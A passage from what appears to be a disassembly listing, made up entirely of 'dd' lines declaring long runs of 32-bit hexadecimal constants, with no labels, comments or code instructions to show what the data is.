		dd 2EBDFC70h, 86C97CCh,	5B8F8FD0h, 0C80016AFh, 0B5D89BF3h
		dd 0CC1A5C13h, 2943A009h, 34EA9C83h, 0FCC1082Eh, 2A90EF01h
		dd 50408A99h, 4A2B1C9h,	80345FF2h, 9E78CC75h, 1826301h
		dd 298A9607h, 4D1F1010h, 71B46B0Ah, 0A90B9826h,	0E7FC00CFh
		dd 45BDE44h, 720677C9h,	2294C2D9h, 3802D62Fh, 8F2FB358h
		dd 242527B8h, 698399A0h, 0AF29C1E3h, 0D49ECBF2h, 5D00B26Eh
		dd 0B080CA02h, 17B857C0h, 4F06828h, 402C51A8h, 340E95B5h
		dd 4C09E04Fh, 0A100284Ah, 0FC2D9E5Ch, 0BD1F9A15h, 0C102B865h
		dd 0C17C61B6h, 5112EBACh, 56F733E0h, 0B75C0C04h, 10A4CBBAh
		dd 0DFBC0003h, 0EA3CF315h, 0B0F836F8h, 9771CF1Ch, 13C07B02h
		dd 0E90C0FCh, 6E9D0211h, 4FCB145Ch, 8C9FE8A1h, 847BD99Bh
		dd 0F241C9F0h, 204B48C2h, 4838595Dh, 6098D451h,	0D1440F2Ch
		dd 1933F8C2h, 280BB753h, 0E0CEE012h, 0A49A5001h, 3354C166h
		dd 46B1DCh, 0E51592DFh,	0E95260BFh, 104A4116h, 946212ABh
		dd 5D9498ECh, 93800A48h, 806D4802h, 735CEC69h, 0EC790117h
		dd 5E428204h, 6058620Bh, 32A783C8h, 0D834606Dh,	8B2D57D5h
		dd 5E8B8894h, 49D000ADh, 1297FCAFh, 0C19D77h, 40EBB14h
		dd 4C92E141h, 3A033378h, 0B520999Ch, 2DE8EB9Dh,	0C020BC18h
		dd 976B0F0Ah, 0DA234B1Ch, 8802A45Eh, 20ED667Ch,	6D5ACF1Bh
		dd 191C716h, 373901EFh,	2040EBD1h, 44032BA0h, 0E4B4EECEh
		dd 5A8AA254h, 7657AECh,	0F8399846h, 8D424282h, 0EB0B2CE8h
		dd 0F6CB5A04h, 64F48AF1h, 44283F92h, 47183580h,	0AC95D61Bh
		dd 97B03F00h, 0E74EC5EAh, 9CF24CF9h, 0FA01ACFh,	0F74A6349h
		dd 4D119801h, 0B744F685h, 0EB92BC40h, 2FF80559h, 252D7680h
		dd 584880C0h, 150032ADh, 96279953h, 54B142A1h, 16F8CBCh
		dd 4805A8B5h, 0C05E5C98h, 0DF0009F3h, 894470F9h, 5C86C33Bh
		dd 0E809016Ch, 5864F634h, 58ED2100h, 15FD1D6h, 77E387Bh
		dd 7AA31B80h, 2ED4AEB1h, 9B159605h, 94A2C50Ah, 0ADF57500h
		dd 5CAE79CFh, 0F3CC3500h, 6E4C2687h, 0CE6B0143h, 31848D22h
		dd 0C2442CD2h, 0D0363EF1h, 0CD0E2768h, 60810C99h, 4903D214h
		dd 0E386FD52h, 81E7B21Dh, 0F6AF218Ch, 0D0C04Ch,	25820D12h
		dd 9CEF6B42h, 2E0BD50Bh, 18BD0029h, 0EF88BDEh, 0F725C553h
		dd 69D8C781h, 1A1424E9h, 946AFF00h, 111B0450h, 336F3BF6h
		dd 5E7B3400h, 0D3DB1051h, 64FD7100h, 0B95BE41Eh, 0B7292822h
		dd 0AC9748C8h, 0ACAA8A01h, 38085D31h, 6192C29Ch, 17A8E066h
		dd 85B50088h, 30C4800Eh, 14B1CF65h, 0FB81D480h,	0A191AE7h
		dd 57321B2Dh, 450C05B4h, 8F8C08BBh, 740B0597h, 0F84848D0h
		dd 0C0998Bh, 246ECBE2h,	1B0020D6h, 7ED47ABBh, 487C37B0h
		dd 8D022CFEh, 0DD318004h, 0E42154D9h, 8283C080h, 3133B8Dh
		dd 0FC814257h, 0E9E0DDD5h, 904B7E4h, 7ABDAC6Bh,	9029D083h
		dd 2464EE7Dh, 4040BBC5h, 2866A818h, 5F48BE00h, 8A646591h
		dd 27A61C68h, 0FEC4C083h, 0ECEF60C3h, 9EECB55Ch, 31F376C2h
		dd 676C85DCh, 0CE2FD020h, 5E0004Eh, 3FFF5D2h, 0EB0BDA53h
		dd 0CD135Dh, 563342F1h,	0B11D2DD3h, 0D38704A7h,	7F56E2Dh
		dd 707886C4h, 0B4593441h, 7ACE8E26h, 646AD109h,	73935C60h
		dd 0A9E56701h, 60F3C3C5h, 5C5C8380h, 3D11055Ch,	60C0E443h
		dd 1621EEF0h, 9DF7D8Eh,	60E9CBBCh, 0E1D6308Ah, 0F6031BE4h
		dd 9C28BBBAh, 0E071EBF2h, 27B338D5h, 0C481EB18h, 0CC11BF20h
		dd 0D71C45FBh, 0F4E9319Dh, 31C48BDh, 91A3D81Fh,	283FD116h
		dd 2DE89030h, 0B0100A5Eh, 66529699h, 80F13898h,	84EFC215h
		dd 2938C803h, 0ACB175h,	0DE2AD290h, 8400C944h, 0B7ACC4CDh
		dd 10B2F4h, 350EC6E6h, 16B6D9D8h, 403C7A58h, 0FA305334h
		dd 0D4F2B825h, 0C511076Eh, 0A05AA6D1h, 31EA9105h, 0C490CD13h
		dd 0B43888h, 0F6BB9AF0h, 56697D8Fh, 0A87ACF0Ch,	2DE9C833h
		dd 880BF4EFh, 37FBA418h, 48FD5D03h, 18B9DB31h, 21E067B9h
		dd 0BE09FF3Eh, 8EFAB04Dh
		dd 0B25D8062h, 5186506h, 5B2B79C2h, 0C0D40284h,	7C81BFBBh
		dd 0DA8F57CDh, 36C8F540h, 2A00B379h, 0F6C099C2h, 2C6C93E9h
		dd 40B40E5Eh, 51C9FB68h, 0B302948h, 8B89A59h, 6C09B804h
		dd 54E4F1h, 0A62924D2h,	0C72DBF19h, 199703Ch, 0EB3DCED8h
		dd 0EED1775Bh, 9AB6430h, 0B165F76Ch, 43000C52h,	0CB967B36h
		dd 3EDBE7Eh, 0B3340641h, 0E6A8CA87h, 0FC9AA042h, 0C640BB12h
		dd 6DA2ED01h, 0C87295D1h, 0FAB50F01h, 70C3ADA5h, 0B1712A4h
		dd 0C00F3FBh, 33DB9F3Fh, 0D0520EF4h, 6C5933Dh, 0E614A4BCh
		dd 0D275DF7Ch, 0F8780F28h, 5AECF544h, 0C05424A8h, 0F1C1D27Ch
		dd 64CAF32Eh, 1F452940h, 0F9B32949h, 102418h, 51607F2Ch
		dd 0A49A4302h, 790568B0h, 75F8DC2h, 92140CFh, 4009B826h
		dd 0CF54C866h, 37A0070Fh, 0C9CA6939h, 9FFD0810h, 0DCD64302h
		dd 0C0D17DECh, 1FB4CA2h, 0D8C533C2h, 3343154Fh,	2BE60728h
		dd 57F0AA64h, 0F09B80DDh, 1A9900CBh, 230E3DCCh,	0B3247C5Ah
		dd 610C6856h, 97E08C4h,	65DDFBDh, 45C31010h, 3040B14Fh
		dd 0E4F1660Fh, 0E6743CE3h, 0B4BB9680h, 2390E65h, 0E828BA16h
		dd 8085D408h, 3782DEDFh, 6601D217h, 0D5F8A61Ah,	783845DAh
		dd 184A05C0h, 321E6A90h, 7844E0Dh, 0DCA0ED10h, 82C31EF2h
		dd 0B4893952h, 0CC011EEAh, 0DAD6CED1h, 4D8E5441h, 806CD1A0h
		dd 163F179Eh, 5EB57F07h, 0A0480E62h, 8F45385h, 1A80DF94h
		dd 50655239h, 8B5E00BFh, 57BC9B0Bh, 0B92EC468h,	0F46098B2h
		dd 3C2D9h, 9E4BEC6Ch, 0E1668C6Ah, 2CAF49C0h, 94F876h, 21C51B93h
		dd 9EEFBA4Fh, 0C673F61Ch, 6AD20C42h, 94728Bh, 0C4016E93h
		dd 19BAB2BDh, 0E3FA1A17h, 95735430h, 3F321E86h,	0EABA85B3h
		dd 0DE68C0E9h, 530088B9h, 52EB07C6h, 7BE1D9h, 6FDC7E5Dh
		dd 99C53132h, 2ABA6400h, 9DE6FB57h, 8295A8h, 0F321D108h
		dd 0D034EF43h, 0E41D1DBBh, 32050606h, 420054DAh, 3AB5908Dh
		dd 39225920h, 18B10B6Dh, 0DAAC0229h, 0B5607B62h, 78009F61h
		dd 79754958h, 0FA909BF9h, 0C157000Ah, 70F366F4h, 0B7EE8703h
		dd 0DB091806h, 1D48FDF8h, 4E94B810h, 0D640849Eh, 4A113B33h
		dd 0F082213Ah, 0A7A1D18h, 16CE428h, 5FCB1532h, 0D94CC7C5h
		dd 911DE344h, 1428781Fh, 85D83B00h, 26F246CAh, 44ACA087h
		dd 0E6380002h, 7405C5FDh, 843C6E69h, 0C1BD0608h, 5C4106F7h
		dd 0D0008979h, 0E93B4C41h, 5C00BA3Dh, 3366CE5Fh, 98220FEDh
		dd 5D58017Ah, 0EF033BDAh, 6788EC2h, 4F086017h, 0EE461486h
		dd 23901F75h, 0C715C37Dh, 2900C3EEh, 0AD857E55h, 2F75DF2h
		dd 28CA9D1Ah, 0A08E482Eh, 238F2601h, 1518EC96h,	3CC9913Eh
		dd 0F83D8C6Ch, 19FA905h, 0F7C5269Dh, 0C7F9E359h, 0C7311900h
		dd 0DBCF386Fh, 42A305A5h, 0AAC99B67h, 46DD000h,	69CF187h
		dd 0F9D61E56h, 650039FEh, 0EC64E3BAh, 91DB43h, 0EF78909h
		dd 6F9B3EADh, 0B0AB12E4h, 0A557D0BFh, 0CB00500Fh, 6F41FD15h
		dd 73EB8769h, 0DDC505EEh, 8A6871h, 0CFBE24D4h, 30042ABBh
		dd 14641D26h, 40B6EE45h, 6A390B88h, 1E0A8269h, 7449D56Dh
		dd 30577B80h, 7BB3A2CBh, 0CE7901B6h, 5B358F41h,	0D4984052h
		dd 0F26B97C5h, 0C4F50631h, 14232459h, 43528010h, 166D83E6h
		dd 9A4D6400h, 9EC56134h, 921CA0FBh, 0C7C488B2h,	34153600h
		dd 6ECF6308h, 1304097Bh, 28005FEFh, 6040FA19h, 69FC514h
		dd 0B08E1120h, 27F2E840h, 6C603B4Eh, 3C9062BEh,	7B1EE80Ah
		dd 158F8009h, 0C026E12Ch, 20A8BEA3h, 38648044h,	0CE1300ABh
		dd 67EB27DAh, 0C20014E8h, 477E792Bh, 306EC042h,	0F5E11E23h
		dd 0DD907C71h, 5D0BA02Eh, 794A3F01h, 0E2EC82FAh, 786C006Ah
		dd 86CB0531h, 25018D18h, 37B5D8BFh, 0B980BCEFh,	5611C988h
		dd 7F06D3B4h, 0FAF89B66h, 45760091h, 0CBA2F360h, 3000B1C8h
		dd 0FFDE3A23h, 806EA8h,	75F49126h, 0E2D6E863h, 0E9119C31h
		dd 16C86520h, 0A9BE0787h, 0CCE90F0Dh, 0EDA09BF8h, 0CE631D86h
		dd 96F60740h, 58C0071h,	0BC837963h, 6D016ADBh, 0BFA0A609h
		dd 0B19DBDEFh, 0E3B2000Bh, 189BCE3Ah, 48FB71C0h, 0EC30848Bh
		dd 0C535000Ah, 973A4F93h, 7707BF88h, 751FE52Eh,	0B2E238F0h
		dd 0E939026Ch, 193E15CDh, 86212864h, 2D36010Ah,	0BEC7EFFCh
		dd 0CC037D79h, 38A0A2AFh, 0AB88B0A4h, 92A80049h, 0FC5E31ECh
		dd 89E40E35h, 84D91E00h, 0F5B6A75h, 9470A0F7h, 8DCF1377h
		dd 0F16C0E8Eh, 0EB3BFF20h, 2C035826h, 8AEFCDC3h, 9B70000Fh
		dd 5E943F54h, 7400BC9Fh, 439697A8h, 1339B6F5h, 10CBE03h
		dd 0FDFE2406h, 0D802291h, 71621E9Bh, 619A8C00h,	0B1DF1D64h
		dd 7DEF026Ah, 6C60378Fh, 5B09F3C3h, 10791E83h, 0CD28650h
		dd 0B189FDBFh, 0CF28C451h, 1A449455h, 3C6D0670h, 0C81D97F0h
		dd 67DD1B0Bh, 0BE141018h, 0FEB300CAh, 1A6E8069h, 0EE337437h
		dd 0C09951C5h, 6D354Fh,	433CD81Ch, 0BF2AA8BCh, 0CC637A00h
		dd 7C87858Bh, 0D4694C52h, 0DD0E132h, 51285820h,	0B16700AEh
		dd 0D8C4266Bh, 0E3076425h, 0FF949A69h, 6F09B91h, 0BA86FD00h
		dd 0A89564A1h, 914844A1h, 17F122BCh, 1DDE5048h,	0DC400058h
		dd 0A2A149C3h, 8E02D97Dh, 85E4F2C4h, 0E0FC44F8h, 0DB080E54h
		dd 1EA305CBh, 0A1181586h, 0F771B9EFh, 33E8019Ch, 0F0F6E6F5h
		dd 0DDE08035h, 48B1764Eh, 784CE29Ah, 0CD6D0457h, 0C89FC4FBh
		dd 7EEB380h, 7FAFD009h,	9E109849h, 94A8070Fh, 23D31624h
		dd 0C389CAFCh, 0BEEAE0FDh, 19AC3C1Ch, 46E262h, 5B7A1FF5h
		dd 18951BB4h, 58674F06h, 598061CBh, 5A0B9C23h, 0AC1024A4h
		dd 0A8006B33h, 0A295F212h, 14C2E53Ch, 9C3518F1h, 929AEE09h
		dd 8E77C818h, 0E6979406h, 655004CBh, 0C29A8ED2h, 8CA01AABh
		dd 3EE2F6E5h, 0F955FA0Fh, 71CAE016h, 112457h, 5F82FBD7h
		dd 0C556BA98h, 5E2ECF0Bh, 0DD28819Ah, 446370E5h, 0FCD79F00h
		dd 6CA3DBCDh, 0EE4C9704h, 74804A2Ah, 488CFD07h,	60D684B9h
		dd 3E73910h, 4E208C9h, 5CC0D52Ch, 6FF3F4D6h, 0CD80B8B4h
		dd 37605521h, 4C805F62h, 6D4040C7h, 0F84D18D0h,	0F68A51F4h
		dd 12FAE800h, 0D7996325h, 0C4E02Bh, 5031BD3Fh, 741890C9h
		dd 30185CB0h, 1789CEDh,	2386172Ch, 585CE80Ch, 1A3F80C0h
		dd 0F6B4C484h, 7CD29062h, 2D3D0B18h, 2004C9DFh,	354CCC85h
		dd 50A7B430h, 0E8FA7AD2h, 0E9B37E8h, 291E1021h,	0C2136B5Dh
		dd 60306338h, 7DFF6FC6h, 37C00182h, 18BDB36Dh, 0D523D805h
		dd 0DFC2AD01h, 0FE3202FDh, 27D5ECCh, 17BC459Ah,	0CC0D26Eh
		dd 0D0166465h, 5C0A6AE0h, 0D6028CFAh, 402C3A2Bh, 1891C7BCh
		dd 0D9123815h, 0D5287976h, 0ED03B490h, 8BFDCCC9h, 9D913EB7h
		dd 0B8D02487h, 0BC8FC271h, 9AC80C80h, 21602373h, 7246A649h
		dd 1DD600D9h, 67C0FBC5h, 9F014BFDh, 0BA1983E9h,	5428FE63h
		dd 9C61DF8Fh, 0C47A7F1Eh, 74004699h, 0EE87286Ch, 6DA2C1h
		dd 53B55DBh, 5DED8494h,	3A207700h, 4FC78AE2h, 0F0045C10h
		dd 9DB84FDDh, 0B2423160h, 0CCB8C0CAh, 4C909E71h, 7DD1344h
		dd 27955EA3h, 675A10C8h, 8A07A4D3h, 9A943520h, 6D1FB160h
		dd 0AC9D51F8h, 6FF63840h, 373405E0h, 0C168AF5Eh, 0C722046Ch
		dd 9D25C900h, 0E90D68Bh, 7C4200FCh, 47EEA389h, 0CA053446h
		dd 669910FDh, 2FD7B002h, 0EACC86DDh, 33CE0248h,	0C46E8101h
		dd 3AA0C48Fh, 0DD0E85E8h, 5683B5Ch, 0FF67FCFBh,	3C45C401h
		dd 0D029F703h
		dd 25A9AB00h, 6BF01CCEh, 0D1EA0800h, 9737C25Ah,	44C89860h
		dd 8159EF1Dh, 0CC560058h, 0AE3EF7CEh, 761D005Ah, 20329F78h
		dd 9A02E3E1h, 0C779F125h, 1346423h, 853BF9DDh, 73406832h
		dd 21EE19DCh, 66E63ACAh, 250D0334h, 91F86143h, 0B60E048h
		dd 113F152Ch, 0D032F94Ch, 0AD47F000h, 23838D26h, 81212060h
		dd 0EA50B4h, 3277B12Ch,	349B8EAFh, 0D700BAB8h, 8616D906h
		dd 0B8B26DEDh, 0C9440398h, 7907E191h, 551F70AEh, 0DE0FFD87h
		dd 751E40D1h, 12C7C5CDh, 2030153Ah, 0DB3D907Ch,	0D0583501h
		dd 0FFF9E70Bh, 75789980h, 0D2C9347Fh, 1829FC00h, 0AB2554B8h
		dd 0DD3B2666h, 5700389Dh, 4456C96Eh, 9B187B7Eh,	941F3F7h
		dd 0B44A00A2h, 542A8139h, 3107F021h, 17614011h,	34154B20h
		dd 30CE4801h, 0BB280503h, 99001323h, 72DA52DFh,	2CD7A45h
		dd 0A710532h, 0F0C0908Ch, 0CA0CC39Dh, 311C2357h, 85CB5098h
		dd 7E23Fh, 749C4AEEh, 5FA7FB08h, 0D57FA498h, 0C975E10Bh
		dd 37F010EFh, 3854005Dh, 7BF17795h, 0EE04ADD0h,	0F051D3EBh
		dd 63665080h, 998500CDh, 0CE493B20h, 0AD005408h, 0B8C12551h
		dd 9E16410h, 97C1EEEh, 26E8E098h, 93BDC03Ch, 0D0015704h
		dd 69BE3831h, 7000B428h, 0DA39FF79h, 0FBE45B6Dh, 0EC910D02h
		dd 710B611Eh, 5CF20614h, 24124032h, 0C0C180C1h,	0F9801622h
		dd 5995E7A7h, 0D5246569h, 0DC05A0A1h, 0D08894C5h, 0F7B4A304h
		dd 9A9B6740h, 9CC9821h,	80EF2F66h, 0CB1F8820h, 0E8F4130Dh
		dd 0B71C8A00h, 9AFD6093h, 404B02ABh, 5C78B4D9h,	2B5F6448h
		dd 2CC0348h, 15B308FEh,	1A88443Ah, 0E05BD270h, 3C90F0A0h
		dd 0AD32F51Ah, 201128ACh, 0FAB74B9Bh, 87A3BF00h, 2E42A4CBh
		dd 0DC08586Dh, 0C09AC21Dh, 0D0C8525Dh, 6809DA87h, 1123CE7Ah
		dd 0C5D815A0h, 0D8810311h, 0C8D26773h, 751D14C0h, 0CFC4FC0Ah
		dd 0DD02A033h, 80E86284h, 0D63AE09Ch, 29F20225h, 0BEEFB263h
		dd 843BB8E4h, 5503804Dh, 71695D7Bh, 9C1604F7h, 0B294FD6Eh
		dd 36CF0EBCh, 0F89D85FEh, 0FC1D0C8h, 912582A0h,	58BFC721h
		dd 0E004ED79h, 0E2E970CEh, 5E46BC40h, 14E63004h, 0F8C02B67h
		dd 699AC403h, 0F48049E1h, 0F96304F2h, 6D225C02h, 8894C41Ah
		dd 0F2098C10h, 0CAB010F8h, 0F6FD17F9h, 8A7E0703h, 72CDD108h
		dd 2FB6FC3Ah, 0B8EE8418h, 2617B9h, 2C674503h, 0C0D265F4h
		dd 3B58D800h, 556CE0D6h, 60CE246Eh, 679C0934h, 0CC945904h
		dd 5A00F468h, 6A24C5A7h, 2FDBE04h, 2A5E26F5h, 244603E0h
		dd 293E4A00h, 11B6B98Eh, 1EBB3E22h, 263D0180h, 593803F3h
		dd 3266E020h, 4A08673Eh, 3FE5D480h, 0B304025h, 7CE20CDh
		dd 0D93A061Dh, 0C0E9EAF5h, 3854EE4Bh, 41F40014h, 0BE974CEFh
		dd 58980065h, 7CEEBC49h, 0F820381Ah, 121026F2h,	83EC0337h
		dd 0A4D0475Ah, 0F5F20801h, 32E96E1Eh, 8448FD0Bh, 66400DC0h
		dd 0CC649C67h, 956F163Fh, 284A892h, 254A2B29h, 0C5544041h
		dd 0DC385073h, 2EB898D6h, 16345659h, 791C30E1h,	4100B250h
		dd 919EE08Eh, 18926A75h, 0A1FCF627h, 0BF1E0111h, 52C76743h
		dd 5551CEAAh, 0DC20B7C4h, 0D36E4C05h, 6CC0B802h, 40550733h
		dd 1443024h, 0A6023A14h, 20673C0Dh, 44B943F4h, 9B60E424h
		dd 0F686B07Ah, 0DC2F00C0h, 63C71650h, 2C28158Eh, 8B44E0D2h
		dd 1C3C0434h, 80688317h, 0B3255BDDh, 4DCFFD02h,	514ADC95h
		dd 0BFBD002Ch, 462464AAh, 41E2E603h, 0A07A808Fh, 124B92B6h
		dd 904415C0h, 0D663701Ch, 51ED6803h, 3E93B4Fh, 336FD08h
		dd 81013915h, 0EF8ACEBBh, 0B8386A5Ah, 58008758h, 11D26F8Bh
		dd 0E012BF9Ah, 8430FF90h, 113B5D5h, 0D203ADB8h,	0E43D5388h
		dd 0C51DED1Bh, 864F950Bh, 0C8A66904h, 9198F8h, 313A290Ah
		dd 9EC2C4FBh, 0BC9B6F26h, 0DD8CE340h, 18C718B4h, 3558991Bh
		dd 0BEAA8900h, 0ECB93437h, 0A5EF0492h, 0E4EE049Eh, 0C902AC68h
		dd 0D7CC3AFEh, 4B16E057h, 0E7BC1C5Ch, 9B65801Ch, 74026B6Dh
		dd 0EFAB4F0Ch, 60D139BFh, 0F7DB8262h, 461E5DE3h, 2126D689h
		dd 2EEAC002h, 0B9805519h, 3567C8DCh, 7145D409h,	238094Ch
		dd 0D1FC947Dh, 4D2C2014h, 7DC49Bh, 287CE64h, 0D16D8557h
		dd 5F02BF8h, 0B1C220Fh,	80C81278h, 1C2476A6h, 803D9AEBh
		dd 0C669E271h, 0CD000CD6h, 45E71565h, 4CFE12B1h, 1780FC22h
		dd 829DD589h, 1280FC58h, 4C88B2DDh, 0F0C0048h, 37D6DB6Eh
		dd 64E269DCh, 3307EB2Ch, 0B0209012h, 971735h, 636798A2h
		dd 0CC50E8E6h, 61F44912h, 8003080Fh, 6F34CA64h,	0C4F71779h
		dd 63A42098h, 0FB09E2D5h, 809B4131h, 0D730DDF8h, 50EE4C11h
		dd 80F3D285h, 87582216h, 49E8F70Eh, 9021E0A7h, 1DBDD386h
		dd 0E85F6977h, 0A4D15DACh, 25795448h, 58034F56h, 91E89DE0h
		dd 9733C566h, 1E0481E2h, 0D8AD4929h, 631DB170h,	0A84D0C5Ah
		dd 88418931h, 309EE07Ah, 0ADAEC039h, 0DF91BFA9h, 9B0CDC0Eh
		dd 390F4C66h, 0CC950F33h, 28606E64h, 70579907h,	0DE80206Eh
		dd 0E010A022h, 20F54A3Ch, 89054B74h, 927ED27Bh,	17FA0A13h
		dd 0B916D100h, 48DAE47Dh, 340EC06Ch, 368BB1E1h,	8BFD204Ah
		dd 990868F7h, 0F22B00A9h, 76913BCDh, 0FD25CA21h, 0C0849286h
		dd 7C4677C7h, 428F4FF2h, 16F83BC8h, 4B00A4D9h, 62EC9C92h
		dd 30360390h, 61C9473Dh, 816CD4E5h, 100B7BC4h, 18C2C0h
		dd 6290710Fh, 8F53CD7Ah, 9A1D2014h, 0ACCF2CD0h,	23865500h
		dd 5CFB04F4h, 0E513ACF3h, 9BC02022h, 0CF0019E3h, 9DEB2609h
		dd 14745CEh, 8A5FC89Ah,	52429EC5h, 4C729CA0h, 0DEA171Ch
		dd 880F4A40h, 88C4EF7Dh, 0F12C7820h, 0CC01E76Ah, 0B71B0250h
		dd 13EA16C0h, 201861F8h, 69D87878h, 51EAE2E0h, 95D45900h
		dd 0DDA5749Dh, 283502EDh, 6940E908h, 0DF00CC59h, 5ECADAD2h
		dd 0B0AB7012h, 27CB3D0Eh, 370C204Bh, 7600A09Ch,	78A3E37Ch
		dd 0C0022Dh, 0E82435CCh, 0EE0B7DF8h, 0F380A49Ch, 6D4B1E8Ah
		dd 70400032h, 8F8C993Fh, 0CC00DB45h, 46A3E296h,	67F4C8h
		dd 0E53966D6h, 23B5F03h, 1FDF5000h, 82EC6318h, 2E4767Eh
		dd 0A033C79Dh, 34F00847h, 0DC9C7770h, 809EB647h, 53E51BFBh
		dd 0A7038h, 0E92D6439h,	6C051C9h, 31AE9700h, 326CF9CFh
		dd 5D6501B7h, 0F27A6927h, 80406C9Bh, 981C0FA2h,	356C041Ah
		dd 0A05F79BAh, 0C52E6740h, 0C460C092h, 48FDA866h, 0D0943C8Ah
		dd 26C3124h, 0B6EFD5D0h, 0B0DC4423h, 0A66ADAAEh, 484900BCh
		dd 173C8C20h, 5300964Eh, 6F4FF815h, 0B00A0430h,	760F4464h
		dd 569F6D16h, 0C4604030h, 205B07F7h, 0E094AB77h, 652E8D7Ah
		dd 0B10534E0h, 6CF1866Bh, 7C4318C0h, 10C9096Eh,	4044A40Ah
		dd 499B521Ch, 0A65FB81Ch, 3C6CC900h, 4C9A8ACAh,	900A846h
		dd 75E8DDD1h, 0EB4CD063h, 1D870088h, 28BE4405h,	904EE204h
		dd 4869586Ch, 0A10D9C18h, 946995FDh, 54C4C1h, 0CB3EBCCAh
		dd 0E60EDEC2h, 0B7AABE05h, 8832039h, 2808A02Fh,	0B6B49255h
		dd 1CC343E4h, 0C24CAEC8h, 20E80C00h, 0F4B2B1CBh, 0A9961875h
		dd 0D1119867h, 905EF317h, 0D6C5A006h, 9CC939B8h, 0F07CE2CCh
		dd 1BA9186Eh, 0D5F1306Fh, 21902A4Ch, 909C172Ch,	71B6E98h
		dd 28380B7Ah, 0DDF580C4h, 0DBEDBDC9h, 322071EFh, 0FB686D5Fh
		dd 71C734E0h, 32E66FEAh, 626E4818h, 220175C8h, 310F1D22h
		dd 80AC5E94h, 873821FBh, 54390596h, 8D48E677h, 0C44FF0FCh
		dd 71661703h, 88993281h
		dd 946B5709h, 0C06D18D8h, 5E4C8610h, 0D896C074h, 4908E1Ah
		dd 0C55F8BC6h, 0FD188898h, 0FC528D5Ah, 47D78C8h, 0DDEC09D0h
		dd 0C1A88CCDh, 8026FD98h, 0E300C6A9h, 9F4CA165h, 0B3FD0098h
		dd 92735685h, 9025C4E7h, 43F891F9h, 5C4C5822h, 1E9CA905h
		dd 1580C87Ah, 80DC3D58h, 0D9E555CAh, 0E86E1E52h, 7B780BE2h
		dd 573E4C00h, 2494F7EDh, 0B7AB9C87h, 64C67470h,	0EC810093h
		dd 86D58F11h, 0CE5E1E1Fh, 8B399C21h, 0FA3C8760h, 1C710031h
		dd 0AE7F4EDh, 88B19B3Fh, 64EEE900h, 3F6DA12Eh, 0F0896B68h
		dd 8C18EBA2h, 49008F34h, 9ABC9C4h, 1F4F91E2h, 0F62C0AFh
		dd 9BA9084Eh, 0E2009066h, 0C65847CDh, 13F06354h, 24AC366h
		dd 0EEA0E034h, 337A58C4h, 0F4AF9E00h, 2C613D20h, 0C0260A5Bh
		dd 805093F8h, 0F248911Dh, 0D8B0E3E0h, 0D8A422E0h, 1B80D00h
		dd 0BA03BD44h, 4D749041h, 66C14087h, 2AEDD630h,	77436020h
		dd 0C6A90082h, 9B67B899h, 0FF009290h, 15E0EF49h, 2AFDD62Ch
		dd 18E0898Ch, 0E108F84Dh, 7A1C2E3Eh, 5C43BFCAh,	0C0127331h
		dd 1A51646h, 0A8537660h, 31CB249Ah, 24A42C18h, 0D01F7CD7h
		dd 8834A63Eh, 0C8C3D91Fh, 38CA68BBh, 1CF9D610h,	0C073DF3Bh
		dd 0F6939048h, 0B25FCCE9h, 0BCEBF020h, 1C095877h, 491FFB00h
		dd 5D71074Dh, 0B12363Eh, 99871E8Eh, 0C4083A74h,	19E0244Ch
		dd 0DD987DFEh, 0D066FA01h, 0B63CFDC1h, 0F70614CEh, 7CDA0074h
		dd 9536EA25h, 67A60062h, 46BB363h, 8639E130h, 0E7591E35h
		dd 34C0D7DDh, 0A920337Bh, 0BFBE0026h, 9A58043Eh, 0A8076AC9h
		dd 9E3A9053h, 0C3AB0192h, 0B8E3C41Ch, 21F64F75h, 0C8C69194h
		dd 804B7F2Bh, 90D64000h, 0E837AE4Ah, 98EEFC09h,	99F63064h
		dd 88FEDD08h, 98788724h, 810F4E04h, 60C54C30h, 75747300h
		dd 6CA92AD3h, 0A8F92F7Ch, 0F2CBEC05h, 8F0F72C0h, 0E1DB489Bh
		dd 14F4F126h, 0A85017E1h, 6B9D372h, 5CCD6234h, 2100E40Fh
		dd 46C2512Bh, 2A31A4A1h, 90E822FBh, 4DCD0048h, 0E24FC175h
		dd 35024889h, 96AABB20h, 4B0C4F8h, 9509E662h, 3B90A25Ch
		dd 76A5004Ah, 0BC8EF3B4h, 64BF261Eh, 0CA2200Bh,	0DFD7BDFFh
		dd 209007C0h, 894C455Ch, 6452F9h, 0D4F7473Ah, 0B6B48BE3h
		dd 1AA0B1B8h, 3209C42Ch, 0C052226Ah, 0BC2366FCh, 5600BF20h
		dd 79944D2Ah, 475C3BB8h, 0FC270097h, 1E7AF33h, 0B1C525C3h
		dd 67FF0480h, 0F1FD6C03h, 0A3FCAFE1h, 0B0E81B24h, 1A3243Ah
		dd 72ABFDA4h, 801F2354h, 62991D21h, 13B5B50h, 0ABD238C9h
		dd 0ECBC4CF0h, 8E027BE1h, 9826EC79h, 0C0A89833h, 6C71040Ch
		dd 0CCCB2928h, 431778D0h, 0D3005531h, 457EEC38h, 0FAF10164h
		dd 0D15AC534h, 21DB603Bh, 0A09C9D27h, 2F69D330h, 80FF881h
		dd 0BDEECB9Eh, 7B214580h, 0A8487267h, 0F41A218h, 0CB81A01Eh
		dd 8165CD24h, 0F0563538h, 70B9CC61h, 870AC680h,	974036Dh
		dd 0F8A48A6Ah, 0D80F207Ah, 0C0C068B5h, 0FC4F9E9Ch, 0F7260487h
		dd 0B879EDF2h, 0EF5980A4h, 3CA9C6h, 0F9B00B66h,	35B228F6h
		dd 9095307Ch, 3248D2Ch,	44B41437h, 9790E53Bh, 0CB087260h
		dd 28283815h, 0F508440Ch, 0F8253A0Eh, 9F82C07Fh, 4661D8Ah
		dd 9296DC94h, 0A310836Bh, 2A26CF8h, 9CCD2026h, 4B51560h
		dd 0FF72008Ch, 9763BF4Dh, 0F310097Dh, 898A2299h, 20574FCCh
		dd 5FA9D458h, 0EA2A1F00h, 0C4188896h, 0ADD702F9h, 0F8A5988Ah
		dd 0E00D844h, 0EA92C915h, 0FAA332E3h, 114E13DFh, 0A901C70h
		dd 7BC7FC6h, 41CAB34Dh,	0CD53079Ch, 81430F4h, 306C1095h
		dd 70A502B0h, 1E06AFDDh, 0C7C964A0h, 7201C387h,	9DFB938Ch
		dd 62B4C90h, 10024B70h,	23A43407h, 835F9C8Eh, 2F608CAh
		dd 1B963118h, 0B061F4C4h, 6A761013h, 75A50085h,	0F73BC879h
		dd 35250B33h, 70E47Bh, 0DDD5998Bh, 0A7C03C9Dh, 7A824705h
		dd 0A8B2602Ch, 55A30400h, 0A016D775h, 5D68C009h, 560D039h
		dd 92CFC401h, 23800066h, 0B4704528h, 11E524B8h,	5D3861Fh
